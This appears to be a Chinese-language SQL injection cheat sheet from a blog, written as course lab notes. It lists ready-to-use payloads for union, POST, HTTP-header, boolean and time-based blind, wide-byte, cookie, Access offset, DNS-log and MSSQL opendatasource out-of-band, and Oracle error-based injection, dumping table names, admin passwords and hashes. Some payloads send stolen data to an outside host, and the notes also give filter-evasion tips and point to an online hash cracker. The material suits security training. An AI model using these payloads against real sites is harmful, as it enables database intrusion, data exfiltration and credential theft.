注入总览
判断注入点——猜解字段总数——判断显示位——查询数据库库名——查询表名——查询字段名——查询字段内容
SQL 注入分类简介
数字型注入
假设存在一条 URL 为:
HTTP://www.aaa.com/test.php?id=1
1.可以对后台的 SQL 语句猜测为:
SELECT * FROM table WHERE id=1
2.先在输入框中输入一个单引号 '
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE id=1'
3.在输入框中输入 and 1 = 1
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1
4.在数据库中输入 and 1 = 2
SQL 语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2
一般注入点闭合无非是 ' , " , ') , ")等各种组合(逗号是分隔符)
字符型注入
假设存在一条 URL 为:
HTTP://www.aaa.com/test.php?id=1
1.可以对后台的 SQL 语句猜测为:
SELECT * FROM table WHERE username = 'admin'
2.还是先输入单引号 admin' 来测试
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE username = 'admin''
3.输入:admin' and 1 = 1 --+
在 admin 后有一个单引号 ',用于字符串闭合,最后还有一个注释符 --+
SQL 语句变为:
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --+
get注入(显错注入)
1.判断是否存在注入点:
最古老的方法:
select * from user where id=1 and 1=1 正常输出
select * from user where id=1 and 1=2 未输出
最简单的方法:
页面后面加',看是否报错
select * from user where id=1 正常输出
select * from user where id=1’ 爆出错误
老师的方法:
如果是数字型传参,可以尝试-1
例如——
http://www.xxx.com/new.php?id=1 页面显示id=1的新闻 select * from user where id=1 正常输出
http://www.xxx.com/new.php?id=2-1 页面显示id=1的新闻 select * from user where id=2-1 正常输出
and 1=1 and 1=2 被拦截的可能性太高了
可以尝试 and -1=-1 and -1=-2 and 1>0 or 1=1
或者直接 or sleep(5)
2.get注入
猜解当前页面字段总数:
联合查询的字段数必须相同,怎么知道当前表的字段数是否相同 --可以用order by
and 1=1 order by 1,2,3,4,5……
select * from admin where id = 1 order by 3;正常执行
select * from admin where id = 1 order by 4;爆出错误
判断的显示位和猜解的字段数相等,猜解的字段数是几位,判断到显示位就是几位
判断显示位:
and 1=2 union select 1,2,3,4,5,6,7……
select * from admin where id = 1 union select 1,2,3,4;
查当前数据库:
and 1=2 union select 1,2,database()
and 1=2 union select 1,2,3,4,5,6,7……判断到的显示位是几就是几,1,2/2,3
根据判断出来的显示位来查询数据库
3.利用MySQL系统自带库查询数据库中的表名/字段/内容
认识函数:
information_schema.tables 存放对应的表名和库名
information_schema.columns 存放对应的字段名和表名
table_schema 是数据库的名称
table_name 是具体的表名。
table_type 表的类型。
查表名:
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
(1,1/2,1试试看是不是不止一张表)
查字段名:
and 1=2 union select 1,2,column_name from information_schema.columns where table_name=’表名‘ and table_schema=database() limit 0,1
(1,1/2,1试试看有几个字段)
查字段内容:
and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1
limit有两个参数,第一个参数表示从第几行数据开始查,第二个参数表示查几条数据,“limit 3,2”表示从第四行数据开始,取两条数据。
实操:
判断注入点:
and 1=1 and 1=2
1 1'
and -1=1 and -1=-2
and 1>0 and 1>1
or sleep(5)
猜解当前页面字段总数:
and 1=1 order by 4 说明字段数只有三个有效
判断显示位(注意://select 1,2 就是输出1 2;这些数可以随意定义
判断的显示位和猜解的字段数相等,猜解的字段数是几位,判断到显示位就是几位)
and 1=2 union select 1,2,3; 1=2使得逻辑错误只能执行后面的语句
查当前数据库:
and 1=2 union select 2,3,database()
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
(1,1/2,1试试看是不是不止一张表)
and 1=2 union select 2,3,column_name from information_schema.columns where table_name='error_flag' and table_schema=database() limit 0,1
and 1=2 union select 2,3,column_name from information_schema.columns where table_name='error_flag' and table_schema=database() limit 1,1
(1,1/2,1试试看有几个字段)
查字段内容:
and 1=2 union select 1,id,flag from error_flag limit 0,1
(如果不是你想要的可以试试,1,1/2,1)
闭合和注释一下就行了'/')/-- qwe -- +
--空格任意字符
'and 1=1 order by 4 -- qwe
'and 1=2 union select 1,2,3 -- qwe
'and 1=2 union select 1,2,database() -- qwe
'and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 -- qwe
'and 1=2 union select 1,2,column_name from information_schema.columns where table_name='表名' and table_schema=database() limit 0,1 -- qwe
'and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1 -- qwe
')and 1=1 order by 4 -- qwe
')and 1=2 union select 1,2,3 -- qwe
')and 1=2 union select 1,2,database() -- qwe
')and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 -- qwe
')and 1=2 union select 1,2,column_name from information_schema.columns where table_name='表名' and table_schema=database() limit 0,1 -- qwe
')and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1 -- qwe
")and 1=1 order by 4 -- qwe
")and 1=2 union select 1,2,3 -- qwe
")and 1=2 union select 1,2,database() -- qwe
")and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 -- qwe
")and 1=2 union select 1,2,column_name from information_schema.columns where table_name='表名' and table_schema=database() limit 0,1 -- qwe
")and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1 -- qwe
post注入![](https://i-blog.csdnimg.cn/blog_migrate/7c50041625fb790c4e01b5fa17cc44c9.jpeg)
判断注入点:
'or 1=1#
猜解字段总数:
'or 1=1 order by 4#
判断显示位:
'or 1=2 union select 1,2,3#
查询表名:
'or 1=2 union select 2,3,table_name from information_schema.tables where table_schema=database() limit 0,1#
查询字段名:
'or 1=2 union select 2,3,column_name from information_schema.columns where table_name='flag' and table_schema=database() limit 0,1#
'or 1=2 union select 2,3,column_name from information_schema.columns where table_name='flag' and table_schema=database() limit 1,1#
查询字段内容:
'or 1=2 union select 1,Id,flag from flag limit 0,1#
闭合一下")
")or 1=1 order by 3#
")or 1=2 union select 1,2,3#
")or 1=2 union select 1,2,database()#
")or 1=2 union select 2,3,table_name from information_schema.tables where table_schema=database() limit 1,2#
")or 1=2 union select 2,3,column_name from information_schema.columns where table_name='flag' and table_schema=database() limit 1,1#
")or 1=2 union select 1,Id,flag from flag limit 1,1#
Head注入
抓登录包跑出账号密码
潜在的HTTP头SQL注入有(逐个尝试看看那个会返回错误就说明数据库执行了语句):
Cookie, User-agent, Referer
最后看只有User-agent返回了结果,说明可能存在注入点
'or 1=1#
因为没有回显,直接抓包在报错行后面拼接语句查询库名
查库名:
',updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))#
[0x7e 实际是是16进制,Mysql支持16进制,但是开头得写0x 0x7e是一个特殊符号,然后不符合路径规则报错]
查询字段的时候会被过滤引号,可以用16进制转换代替
查表名:
跑表名:
',updatexml(1,concat(0x7e,(select table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),0x7e),1))#
跑字段名:
',updatexml(1,concat(0x7e,(select column_name from information_schema.COLUMNS where TABLE_NAME=0x666c61675f68656164 limit 1,1),0x7e),1))#
跑字段数据:
',updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1),0x7e),1))#
同理,先尝试看看哪一行会返回报错
抓包跑Referer的注入就行了
',updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))#
',updatexml(1,concat(0x7e,(select table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),0x7e),1))#
',updatexml(1,concat(0x7e,(select column_name from information_schema.COLUMNS where TABLE_NAME=0x16进制的'表名' limit 1,1),0x7e),1))#
',updatexml(1,concat(0x7e,(select 字段名 from 表名 limit 0,1),0x7e),1))#
X-Forwarded-For添加到数据包里跑(记得冒号空格!!!)
X-Forwarded-For: ',updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))#
X-Forwarded-For: ',updatexml(1,concat(0x7e,(select table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),0x7e),1))#
X-Forwarded-For: ',updatexml(1,concat(0x7e,(select column_name from information_schema.COLUMNS where TABLE_NAME=0x16进制'表名' limit 1,1),0x7e),1))#
X-Forwarded-For: ',updatexml(1,concat(0x7e,(select 字段名 from 表名 limit 2,1),0x7e),1))#
盲注
布尔盲注很明显Ture和Fales,也就是它只会根据注入信息返回Ture和False,也就没有了之前的报错信息。
length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
判断库名长度:
and (length(database()))>13#
and (length(database()))=12#
然后抓包批量跑判断
查询库名:
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+
查询网站:
https://www.qqxiuzi.cn/bianma/ascii.htm
查询跑包的ASCII码
107,97,110,119,111,108,111,110,103 120,105,97
查询结果:
kanwologxia
同样的方法跑表名:(个别时候会出现跑包跑不出来的情况,检查语法多跑几次就行了)
ASCII码:
108 111 102 108 103
表名:
loflag
查询表名:
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+
同样的方法跑字段名:
ASCII码:
102 108 97 103 108 111
字段名:
flaglo
查字段名:
and (ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)))=102--+
查询字段内容:
ASCII码:
122 75 97 81 45 81 81 81
字段内容:
zkaQ-QQQ
查询语句:
and (ascii(substr(( select flaglo from loflag limit 4,1),1,1)))=122--+
后面的闭合注释就行了:
"and (length(database()))>9 -- qwe
"and (ascii(substr(database(),1,1)))=115 -- qwe
"and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))=101 -- qwe
"and (ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)))=102 -- qwe
"and (ascii(substr(( select 字段名 from 表名 limit 4,1),1,1)))=122 -- qwe
在框内传入参数:
'or (length(database()))>9 -- qwe
'or (ascii(substr(database(),1,1)))=115 --qwe
'or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 -- qwe
'or (ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1)))=102 -- qwe
'or (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122 -- qwe
延迟注入:
换汤不换药,同样的多了个if的函数
if(a,b,c) a正确返回b 错误返回c
判断库名有几位数:
" and if(length(database())=10, sleep(5000), 0) -- qwe
抓包=>设置要跑的内容=>设置延迟
用ASCII判断库名:
库名:" and if(ascii(substr(database(),1,1))=1,sleep(10),1) -- qwe
跑出了库名:
判断表名长度:
" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1,sleep(5),1)-- qwe
添加到第4张表的时候没有返回延迟的错误信息了,说明这个库里只有3张表
长度等于:
0,1=6
1,2=4
2,1=4
猜表名:
"and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,sleep(10),1) -- +
跑出了表名:
猜测最有可能的表就是loflag,那么我们就套进去
判断字段名长度:
"and if(ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1))=1,sleep(10),1) -- +
猜字段名:
"and if(ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1))=1,sleep(10),1) -- +
跑出的字段名:
猜内容:
"and if(ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)),sleep(10),1) -- +
判断库名长度: " and if(length(database())=10, sleep(5000), 0) -- qwe
猜库名: " and if(ascii(substr(database(),1,1))=1,sleep(10),1) -- qwe
判断表名长度:" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1,sleep(5),1)-- qwe
猜表名: "and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,sleep(10),1) -- qwe
猜字段名: "and if(ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1))=1,sleep(10),1) -- qwe
猜内容: "and if(ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)),sleep(10),1) -- qwe
判断库名长度: ') and if(length(database())=10, sleep(5000), 0) -- qwe
猜库名: ') and if(ascii(substr(database(),1,1))=1,sleep(10),1) -- qwe
判断表名长度:') and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1,sleep(5),1)-- qwe
猜表名: ') and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,sleep(10),1) -- qwe
猜字段名: ') and if(ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1))=1,sleep(10),1) -- qwe
猜内容: ') and if(ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)),sleep(10),1) -- qwe
宽字节注入:
抓包查看是post还是get
url编码:UrlEncode编码/UrlDecode解码 - 站长工具 用url编码替代传参
%e6%b7%a6' order by 3 -- qwe
%e6%b7%a6' union select 1,2,3 -- qwe
%e6%b7%a6' union select 2,3,database() -- qwe 库名:widechar
%e6%b7%a6' union select 2,3,table_name from information_schema.tables where table_schema=database() limit 1,1 -- qwe 表名:china_flag
%e6%b7%a6' union select 1,2,column_name from information_schema.columns where table_name=0x6368696e615f666c6167 and table_schema=database() limit 0,1 -- qwe 字段名:id C_Flag
%e6%b7%a6' union select 1,id,C_Flag from china_flag limit 0,1 -- qwe
后面的注释一下就行了:
%e6%b7%a6") order by 3 -- qwe
%e6%b7%a6") union select 1,2,3 -- qwe
%e6%b7%a6") union select 2,3,database() -- qwe 库名:widechar
%e6%b7%a6") union select 2,3,table_name from information_schema.tables where table_schema=database() limit 1,1 -- qwe 表名:china_flag
%e6%b7%a6") union select 1,2,column_name from information_schema.columns where table_name=0x6368696e615f666c6167 and table_schema=database() limit 0,1 -- qwe 字段名:id C_Flag
%e6%b7%a6") union select 1,id,C_Flag from china_flag limit 0,1 -- qwe
在表单里注入就行了:
淦') or(length(database()))=8 -- qwe
淦') or(ascii(substr(database(),2,1)))=99 -- qwe 库名:widechar
淦') or(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 -- qwe 表名:china_flag
淦') or(ascii(substr((select column_name from information_schema.columns where table_name='china_flag' limit 0,1),1,1)))=102 -- qwe 字段名:id C_Flag
淦') or(ascii(substr(( select C_Flag from china_flag limit 2,1),111,1)))=122 -- qwe
cookie注入:
注意点: Cookie注入的时候一定要把GET类型的传参删除,不然优先执行GET类型传参。
如果原有的语句中没有传参,要加上一个
; id=xxx
判断注入:
先将查询语句进行url编码转换
在线URL编码地址:http://tool.chinaz.com/Tools/urlencode.aspx
记得删除传参
171+and+1%3d1
171+and+1%3d2 -- 报错说明可能存在cookie注入
数据库比较老不存在自带库只能利用函数自己猜测库名,可以用burp抓包圈住跑
函数:
and exists (select*from 表名)
随便输入一个试试看,不存在就会报错
一个存在的表名,页面返回正常
找回显点
171+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10+from+admin
171 union select 1,2,3,4,5,6,7,8,9,10 from admin
根据admin的表名猜测其可能存在的字段,在输出点上替换
猜解可能存在于admin里的字段名:
username和password
171 union select 1,password,3,4,5,6,7,8,9,10 from admin
171 union select 1,password,3,4,5,6,7,8,9,10 from password
171+union+select+1%2cusername%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10+from+admin
171+union+select+1%2cpassword%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10+from+admin
直接爆出加密的密文
去这里解密一下:https://www.cmd5.com/
我们拿到了密码就去后台登陆看看
偏移注入:
当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
将SQL语句进行url编码
https://tool.chinaz.com/tools/urlencode.aspx
知道是什么库就用什么办法查询
MySQL:查询系统自带表
Access:(这个数据库需要在语句中带上表名)强行猜解/171 and exists (select*from 表名)
先查字段名:
原语句:and 1=1 order by 1,2,3,4,5……
编码语句:105+order+by+10
十个十个减去直到不报错
先确认burp跑包表名/因为数据库查询语句所以要先查表名
原语句:105 and exists (select*from 表名)
编码语句:105+and+exists+(select*from+a)
再结合order查到的字段数来查回显点
原语句:105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin
编码语句:105+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26+from+admin
开始猜解字段名/其他表也是 表名.*
union select 1,admin.*,10 from admin
因为字段数不对会报错,通过依次减字段,来得到admin表的字段数量:
105 union select admin.*2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,18,19,20,21,22,23,24,25,26 from admin
105 union select admin.*3,4,5,6,7,8,9,10,11,12,13,14,15,17,18,19,20,21,22,23,24,25,26 from admin
105 union select admin.*4,5,6,7,8,9,10,11,12,13,14,15,17,18,19,20,21,22,23,24,25,26 from admin
直到页面返回正常,得到字段数量
原语句:105 union select admin.*,17,18,19,20,21,22,23,24,25,26 from admin
查询语句:105+union+select+admin.*%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26+from+admin
得到admin表里的字段数量以后结合回显点,输出字段内容
原语句:105 union select 1,2,admin.*,17,18,19,20,21,22,23,24 from admin
转码语句:105+union+select+1%2c2%2cadmin.*%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24+from+admin
常数相当于占位,admin表里占16个字段,那么order字段数是26个字段,26-16=10,剩下的常数随便填,只要把admin.*放置在输出点上即可
3:105 union select 1,2,admin.*,17,18,19,20,21,22,23,24 from admin
105+union+select+1%2c2%2cadmin.*%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24+from+admin
5:105 union select 1,2,3,4,admin.*,17,18,19,20,21,22 from admin
105+union+select+1%2c2%2c3%2c4%2cadmin.*%2c17%2c18%2c19%2c20%2c21%2c22+from+admin
7:105 union select 1,2,3,4,5,6,7,admin.*,17,18,19 from admin
105+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2cadmin.*%2c17%2c18%2c19+from+admin
事实上还有一些隐藏的输出点,可以在输出回显点的时候定位到图片查看
首先随便选其中一个输出点,这里我选3
105+union+select+1%2c2%2cadmin.*%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24+from+admin
f12定位查看图片里的内容
常数是自己随便设定的,修改一下这个常数,看看这里是否是输出点
可以看到的确是输出点,然后我们把admin.*移动到这个输出点上输出字段内容
先解码再移动到99这个位置替换成admin.*然后补够26个字段,admin.*占16个就,26-16=10,补够十个就行了
原语句:105 union select 1,2,3,17,18,19,20,21,22,admin.*,24 from admin
转码语句:
105+union+select+1%2c2%2c3%2c17%2c18%2c19%2c20%2c21%2c22%2cadmin.*%2c24+from+admin
DNS注入
申请一个域名原来接收返回数据
http://dnslog.cn/
理解两个函数:
LOAD_FILE() 读取文件的函数读取文件并返回文件内容为字符串。需要满足条件,文件必须位于服务器主机上/必须指定完整路径的文件,而且必须有FILE权限/该文件所有字节可读,但文件内容必须小(默认1m)/如果该文件不存在或无法读取,前面的条件之一不满足,函数返回 NULL。
UNC路径://a.1806dl.dnslog.cn/abc 访问1806dl.dnslog.cn下的abc共享文件夹
因为毫无回显,联合查询也不是很适合,那么我们肯定要用到and 的盲注
一个子查询,然后select load_file()打开文件,concat是拼接函数,//+子查询出来的结果+.1806dl.dnslog.cn/abc
and (select load_file(concat('//',(select database(),'.1806dl.dnslog.cn/abc'))) -- qwe
查表名:
直接反弹可能会遇上拦截的情况所以加个123.txt进行传参会好很多
/123.txt?id=1 and(select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'a.2b8t0n.dnslog.cn/abc'))) -- qwe
查字段名:
猜测出所有字段猜测最有可能把数据放在那里
/123.txt?id=1 and(select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'a.2b8t0n.dnslog.cn/abc'))) -- qwe
/123.txt?id=1 and(select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'a.2b8t0n.dnslog.cn/abc'))) -- qwe
查字段内容:
/123.txt?id=1 and(select load_file(concat('//',(select password from admin limit 0,1),'a.2b8t0n.dnslog.cn/abc'))) -- qwe
反弹注入
需要先申请虚拟机来作为反弹接受的对象
拿香港云举例:https://member.webweb.com
用匿名邮箱接收邮件即可:http://mail.bccto.me/
然后登入你的香港云主机
找到数据库管理创建你需要的数据库这里拿SQL Server举例
然后填写一下资料 名称和密码按你的习惯填写就行了,然后找到你的连接地址,账号,密码 用软件连接数据库
如果弹出需要安装组件你就一路安装就行了
双击连接,像这样就是连接上了
然后按照创建一张表,表名随便写,按照你的习惯写就行了
先看看有没有注入点
'and 1=1 -- qwe
'and 1=2 -- qwe
然后测试字段数
'order by 3 -- qwe
'order by 4 -- qwe
然后查询一下回显
可以看到回显没法正常显示,那我们使用空(null)来代替后就可以正常显示了
' union all select 1,2,3 -- qwe
' union all select null,null,null -- qwe
然后测试一下所代替的回显都可以输出什么类型
PS:注意你的字符串要用'a'
我们接着往空(null)里填充数据试试看
你会发现前后类型必须一致才能显示正常
' union all select 1,'a','a' -- qwe
同理MSSQL也有系统自带表
在MSSQL里 'u' 就是代表用户的意思,加个条件看看
然后可以用系统自带表查询表名,id 和name 是系统表里面自带的字段名,dbo是当前用户的权限
select name from dbo.sysdatabases 查询系统库
查询语句:' and 1=2 union all select id,name,null from dbo.sysobjects where xtype='u' -- qwe
函数:sysobjects 查询系统表 xtype='U'
然后来查一下字段名,指定一下刚刚查到的表名里的id找到字段,查询到admin表的字段,说明admin有4个字段,然后就在你创建的表里新建4个字段,类型就默认就行了
查询语句:' and 1=2 union all select id,name,null from dbo.syscolumns where id='1977058079' -- qwe
函数:syscolumns 字段 (id= ) 指定sysobjects库中表名对应id
你所反弹的数据库要与你所创建的数据库字段数相同才行,不然就会报错admin有4个字段你所创建的数据库就必须有四个字段
PS:注意你的信息不要填错
剖析语句:' ;insert into opendatasource('sqloledb','server=连接地址,端口;uid=账号;pwd=密码;database=你创建的库的库名').你创建的库的库名.dbo.你创建的表的表名 select * from 你要查询的表名 ---
查询语句:' ;insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14D9338_jingxie_admin;pwd=12345678;database=DB_14D9338_jingxie').DB_14D9338_jingxie.dbo.jingxie select*from admin -- qwe
Oracle注入
查查看数据库版本
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) -- qwe
查表名(select * from user_tables 查询出当前用户的表)
rownum=1 (限制查询返回的总行数为一条),我们可以用rownum<3来要求他输出2条数据,
and TABLE_NAME<>'DUAL' 查询时符合table_name字段中值为DUAL的整条数据都会被排除
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum<2)) -- qwe
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum<2 and table_name<>'NEWS')) -- qwe
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum<2 and table_name<>'NEWS'and table_name<>'ADMIN')) -- qwe
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum<2 and table_name<>'NEWS'and table_name<>'ADMIN'and table_name<>'MD5')) -- qwe
查询字段名(select*from user_tab_columns 查询出当前用户的字段),取admin表里的字段,一样是排除
and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and rownum<2)) -- qwe
and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum<2)) -- qwe
and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'UNAME' and rownum<2)) -- qwe
and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'UNAME' and column_name<>'UPASS' and rownum<2)) -- qwe
查询内容,一样是取出排除
and 1=ctxsys.drithsx.sn(1,(select UPASS from admin where and rownum=1)) -- qwe
and 1=ctxsys.drithsx.sn(1,(select UPASS from admin where UPASS<>'f583aea84b6ded258f529205eb6d56a7' and UPASS<>'9e8e7f6953dd11ceccc6ce655e03e070' and rownum<2)) --qwe
特别鸣谢名单
@小铭
@蝶舞
@耳双
@巴卫
@風
@折月z
@ 鲨掉东西
@明月出天山